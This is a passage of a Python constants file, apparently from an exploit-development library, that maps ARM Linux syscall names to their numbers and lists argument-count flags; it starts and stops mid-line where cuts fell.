Constant('__NR_set_tid_address',(0+256))\n__NR_timer_create = Constant('__NR_timer_create',(0+257))\n__NR_timer_settime = Constant('__NR_timer_settime',(0+258))\n__NR_timer_gettime = Constant('__NR_timer_gettime',(0+259))\n__NR_timer_getoverrun = Constant('__NR_timer_getoverrun',(0+260))\n__NR_timer_delete = Constant('__NR_timer_delete',(0+261))\n__NR_clock_settime = Constant('__NR_clock_settime',(0+262))\n__NR_clock_gettime = Constant('__NR_clock_gettime',(0+263))\n__NR_clock_getres = Constant('__NR_clock_getres',(0+264))\n__NR_clock_nanosleep = Constant('__NR_clock_nanosleep',(0+265))\n__NR_statfs64 = Constant('__NR_statfs64',(0+266))\n__NR_fstatfs64 = Constant('__NR_fstatfs64',(0+267))\n__NR_tgkill = Constant('__NR_tgkill',(0+268))\n__NR_utimes = Constant('__NR_utimes',(0+269))\n__NR_arm_fadvise64_64 = Constant('__NR_arm_fadvise64_64',(0+270))\n__NR_pciconfig_iobase = Constant('__NR_pciconfig_iobase',(0+271))\n__NR_pciconfig_read = Constant('__NR_pciconfig_read',(0+272))\n__NR_pciconfig_write = Constant('__NR_pciconfig_write',(0+273))\n__NR_mq_open = Constant('__NR_mq_open',(0+274))\n__NR_mq_unlink = Constant('__NR_mq_unlink',(0+275))\n__NR_mq_timedsend = Constant('__NR_mq_timedsend',(0+276))\n__NR_mq_timedreceive = Constant('__NR_mq_timedreceive',(0+277))\n__NR_mq_notify = Constant('__NR_mq_notify',(0+278))\n__NR_mq_getsetattr = Constant('__NR_mq_getsetattr',(0+279))\n__NR_waitid = Constant('__NR_waitid',(0+280))\n__NR_socket = Constant('__NR_socket',(0+281))\n__NR_bind = Constant('__NR_bind',(0+282))\n__NR_connect = Constant('__NR_connect',(0+283))\n__NR_listen = Constant('__NR_listen',(0+284))\n__NR_accept = Constant('__NR_accept',(0+285))\n__NR_getsockname = Constant('__NR_getsockname',(0+286))\n__NR_getpeername = Constant('__NR_getpeername',(0+287))\n__NR_socketpair = Constant('__NR_socketpair',(0+288))\n__NR_send = Constant('__NR_send',(0+289))\n__NR_sendto = Constant('__NR_sendto',(0+290))\n__NR_recv = Constant('__NR_recv',(0+291))\n__NR_recvfrom = Constant('__NR_recvfrom',(0+292))\n__NR_shutdown = Constant('__NR_shutdown',(0+293))\n__NR_setsockopt = Constant('__NR_setsockopt',(0+294))\n__NR_getsockopt = Constant('__NR_getsockopt',(0+295))\n__NR_sendmsg = Constant('__NR_sendmsg',(0+296))\n__NR_recvmsg = Constant('__NR_recvmsg',(0+297))\n__NR_semop = Constant('__NR_semop',(0+298))\n__NR_semget = Constant('__NR_semget',(0+299))\n__NR_semctl = Constant('__NR_semctl',(0+300))\n__NR_msgsnd = Constant('__NR_msgsnd',(0+301))\n__NR_msgrcv = Constant('__NR_msgrcv',(0+302))\n__NR_msgget = Constant('__NR_msgget',(0+303))\n__NR_msgctl = Constant('__NR_msgctl',(0+304))\n__NR_shmat = Constant('__NR_shmat',(0+305))\n__NR_shmdt = Constant('__NR_shmdt',(0+306))\n__NR_shmget = Constant('__NR_shmget',(0+307))\n__NR_shmctl = Constant('__NR_shmctl',(0+308))\n__NR_add_key = Constant('__NR_add_key',(0+309))\n__NR_request_key = Constant('__NR_request_key',(0+310))\n__NR_keyctl = Constant('__NR_keyctl',(0+311))\n__NR_semtimedop = Constant('__NR_semtimedop',(0+312))\n__NR_vserver = Constant('__NR_vserver',(0+313))\n__NR_ioprio_set = Constant('__NR_ioprio_set',(0+314))\n__NR_ioprio_get = Constant('__NR_ioprio_get',(0+315))\n__NR_inotify_init = Constant('__NR_inotify_init',(0+316))\n__NR_inotify_add_watch = Constant('__NR_inotify_add_watch',(0+317))\n__NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',(0+318))\n__NR_mbind = Constant('__NR_mbind',(0+319))\n__NR_get_mempolicy = Constant('__NR_get_mempolicy',(0+320))\n__NR_set_mempolicy = Constant('__NR_set_mempolicy',(0+321))\n__NR_openat = Constant('__NR_openat',(0+322))\n__NR_mkdirat = Constant('__NR_mkdirat',(0+323))\n__NR_mknodat = Constant('__NR_mknodat',(0+324))\n__NR_fchownat = Constant('__NR_fchownat',(0+325))\n__NR_futimesat = Constant('__NR_futimesat',(0+326))\n__NR_fstatat64 = Constant('__NR_fstatat64',(0+327))\n__NR_unlinkat = Constant('__NR_unlinkat',(0+328))\n__NR_renameat = Constant('__NR_renameat',(0+329))\n__NR_linkat = Constant('__NR_linkat',(0+330))\n__NR_symlinkat = Constant('__NR_symlinkat',(0+331))\n__NR_readlinkat = Constant('__NR_readlinkat',(0+332))\n__NR_fchmodat = Constant('__NR_fchmodat',(0+333))\n__NR_faccessat = Constant('__NR_faccessat',(0+334))\n__NR_unshare = Constant('__NR_unshare',(0+337))\n__NR_set_robust_list = Constant('__NR_set_robust_list',(0+338))\n__NR_get_robust_list = Constant('__NR_get_robust_list',(0+339))\n__NR_splice = Constant('__NR_splice',(0+340))\n__NR_arm_sync_file_range = Constant('__NR_arm_sync_file_range',(0+341))\n__NR_tee = Constant('__NR_tee',(0+342))\n__NR_vmsplice = Constant('__NR_vmsplice',(0+343))\n__NR_move_pages = Constant('__NR_move_pages',(0+344))\n__NR_getcpu = Constant('__NR_getcpu',(0+345))\n__NR_kexec_load = Constant('__NR_kexec_load',(0+347))\n__NR_utimensat = Constant('__NR_utimensat',(0+348))\n__NR_signalfd = Constant('__NR_signalfd',(0+349))\n__NR_timerfd = Constant('__NR_timerfd',(0+350))\n__NR_eventfd = Constant('__NR_eventfd',(0+351))\n__NR_fallocate = Constant('__NR_fallocate',(0+352))\n__NR_timerfd_settime = Constant('__NR_timerfd_settime',(0+353))\n__NR_timerfd_gettime = Constant('__NR_timerfd_gettime',(0+354))\n__NR_signalfd4 = Constant('__NR_signalfd4',(0+355))\n__NR_eventfd2 = Constant('__NR_eventfd2',(0+356))\n__NR_epoll_create1 = Constant('__NR_epoll_create1',(0+357))\n__NR_dup3 = Constant('__NR_dup3',(0+358))\n__NR_pipe2 = Constant('__NR_pipe2',(0+359))\n__NR_inotify_init1 = Constant('__NR_inotify_init1',(0+360))\n__NR_preadv = Constant('__NR_preadv',(0+361))\n__NR_pwritev = Constant('__NR_pwritev',(0+362))\n__NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',(0+363))\n__NR_perf_event_open = Constant('__NR_perf_event_open',(0+364))\n__NR_recvmmsg = Constant('__NR_recvmmsg',(0+365))\n__NR_accept4 = Constant('__NR_accept4',(0+366))\n__NR_fanotify_init = Constant('__NR_fanotify_init',(0+367))\n__NR_fanotify_mark = Constant('__NR_fanotify_mark',(0+368))\n__NR_prlimit64 = Constant('__NR_prlimit64',(0+369))\n__NR_name_to_handle_at = Constant('__NR_name_to_handle_at',(0+370))\n__NR_open_by_handle_at = Constant('__NR_open_by_handle_at',(0+371))\n__NR_clock_adjtime = Constant('__NR_clock_adjtime',(0+372))\n__NR_syncfs = Constant('__NR_syncfs',(0+373))\n__NR_sendmmsg = Constant('__NR_sendmmsg',(0+374))\n__NR_setns = Constant('__NR_setns',(0+375))\n__NR_process_vm_readv = Constant('__NR_process_vm_readv',(0+376))\n__NR_process_vm_writev = Constant('__NR_process_vm_writev',(0+377))\n__NR_kcmp = Constant('__NR_kcmp',(0+378))\n__NR_finit_module = Constant('__NR_finit_module',(0+379))\n__NR_sched_setattr = Constant('__NR_sched_setattr',(0+380))\n__NR_sched_getattr = Constant('__NR_sched_getattr',(0+381))\n__NR_renameat2 = Constant('__NR_renameat2',(0+382))\n__NR_seccomp = Constant('__NR_seccomp',(0+383))\n__NR_getrandom = Constant('__NR_getrandom',(0+384))\n__NR_memfd_create = Constant('__NR_memfd_create',(0+385))\n__NR_bpf = Constant('__NR_bpf',(0+386))\n__NR_execveat = Constant('__NR_execveat',(0+387))\n__NR_userfaultfd = Constant('__NR_userfaultfd',(0+388))\n__NR_membarrier = Constant('__NR_membarrier',(0+389))\n__NR_mlock2 = Constant('__NR_mlock2',(0+390))\n__NR_copy_file_range = Constant('__NR_copy_file_range',(0+391))\n__NR_preadv2 = Constant('__NR_preadv2',(0+392))\n__NR_pwritev2 = Constant('__NR_pwritev2',(0+393))\n__NR_pkey_mprotect = Constant('__NR_pkey_mprotect',(0 + 394))\n__NR_pkey_alloc = Constant('__NR_pkey_alloc',(0 + 395))\n__NR_pkey_free = Constant('__NR_pkey_free',(0 + 396))\n__NR_statx = Constant('__NR_statx',(0 + 397))\n__NR_rseq = Constant('__NR_rseq',(0 + 398))\n__NR_io_pgetevents = Constant('__NR_io_pgetevents',(0 + 399))\n__NR_migrate_pages = Constant('__NR_migrate_pages',(0 + 400))\n__NR_kexec_file_load = Constant('__NR_kexec_file_load',(0 + 401))\n__NR_clock_gettime64 = Constant('__NR_clock_gettime64',(0 + 403))\n__NR_clock_settime64 = Constant('__NR_clock_settime64',(0 + 404))\n__NR_clock_adjtime64 = Constant('__NR_clock_adjtime64',(0 + 405))\n__NR_clock_getres_time64 = Constant('__NR_clock_getres_time64',(0 + 406))\n__NR_clock_nanosleep_time64 = Constant('__NR_clock_nanosleep_time64',(0 + 407))\n__NR_timer_gettime64 = Constant('__NR_timer_gettime64',(0 + 408))\n__NR_timer_settime64 = Constant('__NR_timer_settime64',(0 + 409))\n__NR_timerfd_gettime64 = Constant('__NR_timerfd_gettime64',(0 + 410))\n__NR_timerfd_settime64 = Constant('__NR_timerfd_settime64',(0 + 411))\n__NR_utimensat_time64 = Constant('__NR_utimensat_time64',(0 + 412))\n__NR_pselect6_time64 = Constant('__NR_pselect6_time64',(0 + 413))\n__NR_ppoll_time64 = Constant('__NR_ppoll_time64',(0 + 414))\n__NR_io_pgetevents_time64 = Constant('__NR_io_pgetevents_time64',(0 + 416))\n__NR_recvmmsg_time64 = Constant('__NR_recvmmsg_time64',(0 + 417))\n__NR_mq_timedsend_time64 = Constant('__NR_mq_timedsend_time64',(0 + 418))\n__NR_mq_timedreceive_time64 = Constant('__NR_mq_timedreceive_time64',(0 + 419))\n__NR_semtimedop_time64 = Constant('__NR_semtimedop_time64',(0 + 420))\n__NR_rt_sigtimedwait_time64 = Constant('__NR_rt_sigtimedwait_time64',(0 + 421))\n__NR_futex_time64 = Constant('__NR_futex_time64',(0 + 422))\n__NR_sched_rr_get_interval_time64 = Constant('__NR_sched_rr_get_interval_time64',(0 + 423))\n__NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',(0 + 424))\n__NR_io_uring_setup = Constant('__NR_io_uring_setup',(0 + 425))\n__NR_io_uring_enter = Constant('__NR_io_uring_enter',(0 + 426))\n__NR_io_uring_register = Constant('__NR_io_uring_register',(0 + 427))\n__NR_open_tree = Constant('__NR_open_tree',(0 + 428))\n__NR_move_mount = Constant('__NR_move_mount',(0 + 429))\n__NR_fsopen = Constant('__NR_fsopen',(0 + 430))\n__NR_fsconfig = Constant('__NR_fsconfig',(0 + 431))\n__NR_fsmount = Constant('__NR_fsmount',(0 + 432))\n__NR_fspick = Constant('__NR_fspick',(0 + 433))\n__NR_pidfd_open = Constant('__NR_pidfd_open',(0 + 434))\n__NR_clone3 = Constant('__NR_clone3',(0 + 435))\n__NR_openat2 = Constant('__NR_openat2',(0 + 437))\n__NR_pidfd_getfd = Constant('__NR_pidfd_getfd',(0 + 438))\n__ARM_NR_BASE = Constant('__ARM_NR_BASE',(0+0x0f0000))\n__ARM_NR_breakpoint = Constant('__ARM_NR_breakpoint',((0+0x0f0000)+1))\n__ARM_NR_cacheflush = Constant('__ARM_NR_cacheflush',((0+0x0f0000)+2))\n__ARM_NR_usr26 = Constant('__ARM_NR_usr26',((0+0x0f0000)+3))\n__ARM_NR_usr32 = Constant('__ARM_NR_usr32',((0+0x0f0000)+4))\n__ARM_NR_set_tls = Constant('__ARM_NR_set_tls',((0+0x0f0000)+5))\n__ARGS_exit = Constant('__ARGS_exit',0)\n__ARGS_fork = Constant('__ARGS_fork',0)\n__ARGS_read = Constant('__ARGS_read',0)\n__ARGS_write = Constant('__ARGS_write',0)\n__ARGS_open = Constant('__ARGS_open',0)\n__ARGS_close = Constant('__ARGS_close',0)\n__ARGS_waitpid = Constant('__ARGS_waitpid',0)\n__ARGS_creat = Constant('__ARGS_creat',0)\n__ARGS_link = Constant('__ARGS_link',0)\n__ARGS_unlink = Constant('__ARGS_unlink',0)\n__ARGS_execve = Constant('__ARGS_execve',0)\n__ARGS_chdir = Constant('__ARGS_chdir',0)\n__ARGS_time = Constant('__ARGS_time',0)\n__ARGS_mknod = Constant('__ARGS_mknod',0)\n__ARGS_chmod = Constant('__ARGS_chmod',0)\n__ARGS_lchown = Constant('__ARGS_lchown',0)\n__ARGS_break = Constant('__ARGS_break',0)\n__ARGS_lseek = Constant('__ARGS_lseek',0)\n__ARGS_getpid = Constant('__ARGS_getpid',0)\n__ARGS_mount = Constant('__ARGS_mount',1)\n__ARGS_umount = Constant('__ARGS_umount',0)\n__ARGS_setuid = Constant('__ARGS_setuid',0)\n__ARGS_getuid = Constant('__ARGS_getuid',0)\n__ARGS_stime = Constant('__ARGS_stime',0)\n__ARGS_ptrace = Constant('__ARGS_ptrace',0)\n__ARGS_alarm = Constant('__ARGS_alarm',0)\n__ARGS_pause = Constant('__ARGS_pause',0)\n__ARGS_utime = Constant('__ARGS_utime',0)\n__ARGS_stty = Constant('__ARGS_stty',0)\n__ARGS_gtty = Constant('__ARGS_gtty',0)\n__ARGS_access = Constant('__ARGS_access',0)\n__ARGS_nice = Constant('__ARGS_nice',0)\n__ARGS_ftime = Constant('__ARGS_ftime',0)\n__ARGS_sync = Constant('__ARGS_sync',0)\n__ARGS_kill = Constant('__ARGS_kill',0)\n__ARGS_rename = Constant('__ARGS_rename',0)\n__ARGS_mkdir = Constant('__ARGS_mkdir',0)\n__ARGS_rmdir = Constant('__ARGS_rmdir',0)\n__ARGS_dup = Constant('__ARGS_dup',0)\n__ARGS_pipe = Constant('__ARGS_pipe',0)\n__ARGS_times = Constant('__ARGS_times',0)\n__ARGS_prof = Constant('__ARGS_prof',0)\n__ARGS_brk = Constant('__ARGS_brk',0)\n__ARGS_setgid = Constant('__ARGS_setgid',0)\n__ARGS_getgid = Constant('__ARGS_getgid',0)\n__ARGS_signal = Constant('__ARGS_signal',0)\n__ARGS_geteuid = Constant('__ARGS_geteuid',0)\n__ARGS_getegid = Constant('__ARGS_getegid',0)\n__ARGS_acct = Constant('__ARGS_acct',0)\n__ARGS_umount2 = Constant('__ARGS_umount2',0)\n__ARGS_lock = Constant('__ARGS_lock',0)\n__ARGS_ioctl = Constant('__ARGS_ioctl',0)\n__ARGS_fcntl = Constant('__ARGS_fcntl',0)\n__ARGS_mpx = Constant('__ARGS_mpx',0)\n__ARGS_setpgid = Constant('__ARGS_setpgid',0)\n__ARGS_ulimit = Constant('__ARGS_ulimit',0)\n__ARGS_umask = Constant('__ARGS_umask',0)\n__ARGS_chroot = Constant('__ARGS_chroot',0)\n__ARGS_ustat = Constant('__ARGS_ustat',0)\n__ARGS_dup2 = Constant('__ARGS_dup2',0)\n__ARGS_getppid = Constant('__ARGS_getppid',0)\n__ARGS_getpgrp = Constant('__ARGS_getpgrp',0)\n__ARGS_setsid = Constant('__ARGS_setsid',0)\n__ARGS_sigaction = Constant('__ARGS_sigaction',0)\n__ARGS_sgetmask = Constant('__ARGS_sgetmask',0)\n__ARGS_ssetmask = Constant('__ARGS_ssetmask',0)\n__ARGS_setreuid = Constant('__ARGS_setreuid',0)\n__ARGS_setregid = Constant('__ARGS_setregid',0)\n__ARGS_sigsuspend = Constant('__ARGS_sigsuspend',0)\n__ARGS_sigpending = Constant('__ARGS_sigpending',0)\n__ARGS_sethostname = Constant('__ARGS_sethostname',0)\n__ARGS_setrlimit = Constant('__ARGS_setrlimit',0)\n__ARGS_getrlimit = Constant('__ARGS_getrlimit',0)\n__ARGS_getrusage = Constant('__ARGS_getrusage',0)\n__ARGS_gettimeofday = Constant('__ARGS_gettimeofday',0)\n__ARGS_settimeofday = Constant('__ARGS_settimeofday',0)\n__ARGS_getgroups = Constant('__ARGS_getgroups',0)\n__ARGS_setgroups = Constant('__ARGS_setgroups',0)\n__ARGS_select = Constant('__ARGS_select',0)\n__ARGS_symlink = Constant('__ARGS_symlink',0)\n__ARGS_readlink = Constant('__ARGS_readlink',0)\n__ARGS_uselib = Constant('__ARGS_uselib',0)\n__ARGS_swapon = Constant('__ARGS_swapon',0)\n__ARGS_reboot = Constant('__ARGS_reboot',0)\n__ARGS_readdir = Constant('__ARGS_readdir',0)\n__ARGS_mmap = Constant('__ARGS_mmap',0)\n__ARGS_munmap = Constant('__ARGS_munmap',0)\n__ARGS_truncate = Constant('__ARGS_truncate',0)\n__ARGS_ftruncate = Constant('__ARGS_ftruncate',0)\n__ARGS_fchmod = Constant('__ARGS_fchmod',0)\n__ARGS_fchown = Constant('__ARGS_fchown',0)\n__ARGS_getpriority = Constant('__ARGS_getpriority',0)\n__ARGS_setpriority = Constant('__ARGS_setpriority',0)\n__ARGS_profil = Constant('__ARGS_profil',0)\n__ARGS_statfs = Constant('__ARGS_statfs',0)\n__ARGS_fstatfs = Constant('__ARGS_fstatfs',0)\n__ARGS_ioperm = Constant('__ARGS_ioperm',0)\n__ARGS_socketcall = Constant('__ARGS_socketcall',0)\n__ARGS_syslog = Constant('__ARGS_syslog',0)\n__ARGS_setitimer = Constant('__ARGS_setitimer',0)\n__ARGS_getitimer = Constant('__ARGS_getitimer',0)\n__ARGS_stat = Constant('__ARGS_stat',0)\n__ARGS_lstat = Constant('__ARGS_lstat',0)\n__ARGS_fstat = Constant('__ARGS_fstat',0)\n__ARGS_vhangup = Constant('__ARGS_vhangup',0)\n__ARGS_idle = Constant('__ARGS_idle',0)\n__ARGS_syscall = Constant('__ARGS_syscall',0)\n__ARGS_wait4 = Constant('__ARGS_wait4',0)\n__ARGS_swapoff = Constant('__ARGS_swapoff',0)\n__ARGS_sysinfo = Constant('__ARGS_sysinfo',0)\n__ARGS_ipc = Constant('__ARGS_ipc',1)\n__ARGS_fsync = Constant('__ARGS_fsync',0)\n__ARGS_sigreturn = Constant('__ARGS_sigreturn',0)\n__ARGS_clone = Constant('__ARGS_clone',0)\n__ARGS_setdomainname = Constant('__ARGS_setdomainname',0)\n__ARGS_uname = Constant('__ARGS_uname',0)\n__ARGS_modify_ldt = Constant('__ARGS_modify_ldt',0)\n__ARGS_adjtimex = Constant('__ARGS_adjtimex',0)\n__ARGS_mprotect = Constant('__ARGS_mprotect',0)\n__ARGS_sigprocmask = Constant('__ARGS_sigprocmask',0)\n__ARGS_create_module = Constant('__ARGS_create_module',0)\n__ARGS_init_module = Constant('__ARGS_init_module',0)\n__ARGS_delete_module = Constant('__ARGS_delete_module',0)\n__ARGS_get_kernel_syms = Constant('__ARGS_get_kernel_syms',0)\n__ARGS_quotactl = Constant('__ARGS_quotactl',0)\n__ARGS_getpgid = Constant('__ARGS_getpgid',0)\n__ARGS_fchdir = Constant('__ARGS_fchdir',0)\n__ARGS_bdflush = Constant('__ARGS_bdflush',0)\n__ARGS_sysfs = Constant('__ARGS_sysfs',0)\n__ARGS_personality = Constant('__ARGS_personality',0)\n__ARGS_afs_syscall = Constant('__ARGS_afs_syscall',0)\n__ARGS_setfsuid = Constant('__ARGS_setfsuid',0)\n__ARGS_setfsgid = Constant('__ARGS_setfsgid',0)\n__ARGS__llseek = Constant('__ARGS__llseek',1)\n__ARGS_getdents = Constant('__ARGS_getdents',0)\n__ARGS__newselect = Constant('__ARGS__newselect',1)\n__ARGS_flock = Constant('__ARGS_flock',0)\n__ARGS_msync = Constant('__ARGS_msync',0)\n__ARGS_readv = Constant('__ARGS_readv',0)\n__ARGS_writev = Constant('__ARGS_writev',0)\n__ARGS_getsid = Constant('__ARGS_getsid',0)\n__ARGS_fdatasync = Constant('__ARGS_fdatasync',0)\n__ARGS__sysctl = Constant('__ARGS__sysctl',0)\n__ARGS_mlock = Constant('__ARGS_mlock',0)\n__ARGS_munlock = Constant('__ARGS_munlock',0)\n__ARGS_mlockall = Constant('__ARGS_mlockall',0)\n__ARGS_munlockall = Constant('__ARGS_munlockall',0)\n__ARGS_sched_setparam = Constant('__ARGS_sched_setparam',0)\n__ARGS_sched_getparam = Constant('__ARGS_sched_getparam',0)\n__ARGS_sched_setscheduler = Constant('__ARGS_sched_setscheduler',0)\n__ARGS_sched_getscheduler = Constant('__ARGS_sched_getscheduler',0)\n__ARGS_sched_yield = Constant('__ARGS_sched_yield',0)\n__ARGS_sched_get_priority_max = Constant('__ARGS_sched_get_priority_max',0)\n__ARGS_sched_get_priority_min = Constant('__ARGS_sched_get_priority_min',0)\n__ARGS_sched_rr_get_interval = Constant('__ARGS_sched_rr_get_interval',0)\n__ARGS_nanosleep = Constant('__ARGS_nanosleep',0)\n__ARGS_mremap = Constant('__ARGS_mremap',0)\n__ARGS_setresuid = Constant('__ARGS_setresuid',0)\n__ARGS_getresuid = Constant('__ARGS_getresuid',0)\n__ARGS_vm86 = Constant('__ARGS_vm86',0)\n__ARGS_query_module = Constant('__ARGS_query_module',1)\n__ARGS_poll = Constant('__ARGS_poll',0)\n__ARGS_nfsservctl = Constant('__ARGS_nfsservctl',0)\n__ARGS_setresgid = Constant('__ARGS_setresgid',0)\n__ARGS_getresgid = Constant('__ARGS_getresgid',0)\n__ARGS_prctl = Constant('__ARGS_prctl',1)\n__ARGS_rt_sigreturn = Constant('__ARGS_rt_sigreturn',0)\n__ARGS_rt_sigaction = Constant('__ARGS_rt_sigaction',0)\n__ARGS_rt_sigprocmask = Constant('__ARGS_rt_sigprocmask',0)\n__ARGS_rt_sigpending = Constant('__ARGS_rt_sigpending',0)\n__ARGS_rt_sigtimedwait = Constant('__ARGS_rt_sigtimedwait',0)\n__ARGS_rt_sigqueueinfo = Constant('__ARGS_rt_sigqueueinfo',0)\n__ARGS_rt_sigsuspend = Constant('__ARGS_rt_sigsuspend',0)\n__ARGS_pread = Constant('__ARGS_pread',0)\n__ARGS_pwrite = Constant('__ARGS_pwrite',0)\n__ARGS_pread64 = Constant('__ARGS_pread64',0)\n__ARGS_pwrite64 = Constant('__ARGS_pwrite64',0)\n__ARGS_chown = Constant('__ARGS_chown',0)\n__ARGS_getcwd = Constant('__ARGS_getcwd',0)\n__ARGS_capget = Constant('__ARGS_capget',0)\n__ARGS_capset = Constant('__ARGS_capset',0)\n__ARGS_sigaltstack = Constant('__ARGS_sigaltstack',0)\n__ARGS_sendfile = Constant('__ARGS_sendfile',0)\n__ARGS_vfork = Constant('__ARGS_vfork',0)\n__ARGS_ugetrlimit = Constant('__ARGS_ugetrlimit',0)\n__ARGS_mmap2 = Constant('__ARGS_mmap2',1)\n__ARGS_truncate64 = Constant('__ARGS_truncate64',0)\n__ARGS_ftruncate64 = Constant('__ARGS_ftruncate64',0)\n__ARGS_stat64 = Constant('__ARGS_stat64',0)\n__ARGS_lstat64 = Constant('__ARGS_lstat64',0)\n__ARGS_fstat64 = Constant('__ARGS_fstat64',0)\n__ARGS_lchown32 = Constant('__ARGS_lchown32',0)\n__ARGS_getuid32 = Constant('__ARGS_getuid32',0)\n__ARGS_getgid32 = Constant('__ARGS_getgid32',0)\n__ARGS_geteuid32 = Constant('__ARGS_geteuid32',0)\n__ARGS_getegid32 = Constant('__ARGS_getegid32',0)\n__ARGS_setreuid32 = Constant('__ARGS_setreuid32',0)\n__ARGS_setregid32 = Constant('__ARGS_setregid32',0)\n__ARGS_getgroups32 = Constant('__ARGS_getgroups32',0)\n__ARGS_setgroups32 = Constant('__ARGS_setgroups32',0)\n__ARGS_fchown32 = Constant('__ARGS_fchown32',0)\n__ARGS_setresuid32 = Constant('__ARGS_setresuid32',0)\n__ARGS_getresuid32 = Constant('__ARGS_getresuid32',0)\n__ARGS_setresgid32 = Constant('__ARGS_setresgid32',0)\n__ARGS_getresgid32 = Constant('__ARGS_getresgid32',0)\n__ARGS_chown32 = Constant('__ARGS_chown32',0)\n__ARGS_setuid32 = Constant('__ARGS_setuid32',0)\n__ARGS_setgid32 = Constant('__ARGS_setgid32',0)\n__ARGS_setfsuid32 = Constant('__ARGS_setfsuid32',0)\n__ARGS_setfsgid32 = Constant('__ARGS_setfsgid32',0)\n__ARGS_getdents64 = Constant('__ARGS_getdents64',0)\n__ARGS_pivot_root = Constant('__ARGS_pivot_root',0)\n__ARGS_mincore = Constant('__ARGS_mincore',0)\n__ARGS_madvise = Constant('__ARGS_madvise',0)\n__ARGS_fcntl64 = Constant('__ARGS_fcntl64',0)\n__ARGS_security = Constant('__ARGS_security',0)\n__ARGS_gettid = Constant('__ARGS_gettid',0)\n__ARGS_readahead = Constant('__ARGS_readahead',0)\n__ARGS_setxattr = Constant('__ARGS_setxattr',1)\n__ARGS_lsetxattr = Constant('__ARGS_lsetxattr',1)\n__ARGS_fsetxattr = Constant('__ARGS_fsetxattr',1)\n__ARGS_getxattr = Constant('__ARGS_getxattr',0)\n__ARGS_lgetxattr = Constant('__ARGS_lgetxattr',0)\n__ARGS_fgetxattr = Constant('__ARGS_fgetxattr',0)\n__ARGS_listxattr = Constant('__ARGS_listxattr',0)\n__ARGS_llistxattr = Constant('__ARGS_llistxattr',0)\n__ARGS_flistxattr = Constant('__ARGS_flistxattr',0)\n__ARGS_removexattr = Constant('__ARGS_removexattr',0)\n__ARGS_lremovexattr = Constant('__ARGS_lremovexattr',0)\n__ARGS_fremovexattr = Constant('__ARGS_fremovexattr',0)\n__ARGS_tkill = Constant('__ARGS_tkill',0)\n__ARGS_sendfile64 = Constant('__ARGS_sendfile64',0)\n__ARGS_futex = Constant('__ARGS_futex',0)\n__ARGS_sched_setaffinity = Constant('__ARGS_sched_setaffinity',0)\n__ARGS_sched_getaffinity = Constant('__ARGS_sched_getaffinity',0)\n__ARGS_io_setup = Constant('__ARGS_io_setup',0)\n__ARGS_io_destroy = Constant('__ARGS_io_destroy',0)\n__ARGS_io_getevents = Constant('__ARGS_io_getevents',0)\n__ARGS_io_submit = Constant('__ARGS_io_submit',0)\n__ARGS_io_cancel = Constant('__ARGS_io_cancel',0)\n__ARGS_exit_group = Constant('__ARGS_exit_group',0)\n__ARGS_lookup_dcookie = Constant('__ARGS_lookup_dcookie',0)\n__ARGS_epoll_create = Constant('__ARGS_epoll_create',0)\n__ARGS_epoll_ctl = Constant('__ARGS_epoll_ctl',0)\n__ARGS_epoll_wait = Constant('__ARGS_epoll_wait',0)\n__ARGS_remap_file_pages = Constant('__ARGS_remap_file_pages',0)\n__ARGS_set_thread_area = Constant('__ARGS_set_thread_area',0)\n__ARGS_get_thread_area = Constant('__ARGS_get_thread_area',0)\n__ARGS_set_tid_address = Constant('__ARGS_set_tid_address',0)\n__ARGS_timer_create = Constant('__ARGS_timer_create',0)\n__ARGS_timer_settime = Constant('__ARGS_timer_settime',0)\n__ARGS_timer_gettime = Constant('__ARGS_timer_gettime',0)\n__ARGS_timer_getoverrun = Constant('__ARGS_timer_getoverrun',0)\n__ARGS_timer_delete = Constant('__ARGS_timer_delete',0)\n__ARGS_clock_settime = Constant('__ARGS_clock_settime',0)\n__ARGS_clock_gettime = Constant('__ARGS_clock_gettime',0)\n__ARGS_clock_getres = Constant('__ARGS_clock_getres',0)\n__ARGS_clock_nanosleep = Constant('__ARGS_clock_nanosleep',0)\n__ARGS_statfs64 = Constant('__ARGS_statfs64',0)\n__ARGS_fstatfs64 = Constant('__ARGS_fstatfs64',0)\n__ARGS_tgkill = Constant('__ARGS_tgkill',0)\n__ARGS_utimes = Constant('__ARGS_utimes',0)\n__ARGS_arm_fadvise64_64 = Constant('__ARGS_arm_fadvise64_64',1)\n__ARGS_fadvise64 = Constant('__ARGS_fadvise64',0)\n__ARGS_fadvise64_64 = Constant('__ARGS_fadvise64_64',0)\n__ARGS_pciconfig_iobase = Constant('__ARGS_pciconfig_iobase',0)\n__ARGS_pciconfig_read = Constant('__ARGS_pciconfig_read',1)\n__ARGS_pciconfig_write = Constant('__ARGS_pciconfig_write',1)\n__ARGS_mq_open = Constant('__ARGS_mq_open',0)\n__ARGS_mq_unlink = Constant('__ARGS_mq_unlink',0)\n__ARGS_mq_timedsend = Constant('__ARGS_mq_timedsend',0)\n__ARGS_mq_timedreceive = Constant('__ARGS_mq_timedreceive',1)\n__ARGS_mq_notify = Constant('__ARGS_mq_notify',0)\n__ARGS_mq_getsetattr = Constant('__ARGS_mq_getsetattr',0)\n__ARGS_waitid = Constant('__ARGS_waitid',0)\n__ARGS_socket = Constant('__ARGS_socket',0)\n__ARGS_bind = Constant('__ARGS_bind',0)\n__ARGS_connect = Constant('__ARGS_connect',0)\n__ARGS_listen = Constant('__ARGS_listen',0)\n__ARGS_accept = Constant('__ARGS_accept',0)\n__ARGS_getsockname = Constant('__ARGS_getsockname',0)\n__ARGS_getpeername = Constant('__ARGS_getpeername',0)\n__ARGS_socketpair = Constant('__ARGS_socketpair',0)\n__ARGS_send = Constant('__ARGS_send',0)\n__ARGS_sendto = Constant('__ARGS_sendto',1)\n__ARGS_recv = Constant('__ARGS_recv',0)\n__ARGS_recvfrom = Constant('__ARGS_recvfrom',1)\n__ARGS_shutdown = Constant('__ARGS_shutdown',0)\n__ARGS_setsockopt = Constant('__ARGS_setsockopt',0)\n__ARGS_getsockopt = Constant('__ARGS_getsockopt',0)\n__ARGS_sendmsg = Constant('__ARGS_sendmsg',0)\n__ARGS_recvmsg = Constant('__ARGS_recvmsg',0)\n__ARGS_semop = Constant('__ARGS_semop',0)\n__ARGS_semget = Constant('__ARGS_semget',0)\n__ARGS_semctl = Constant('__ARGS_semctl',0)\n__ARGS_msgsnd = Constant('__ARGS_msgsnd',0)\n__ARGS_msgrcv = Constant('__ARGS_msgrcv',0)\n__ARGS_msgget = 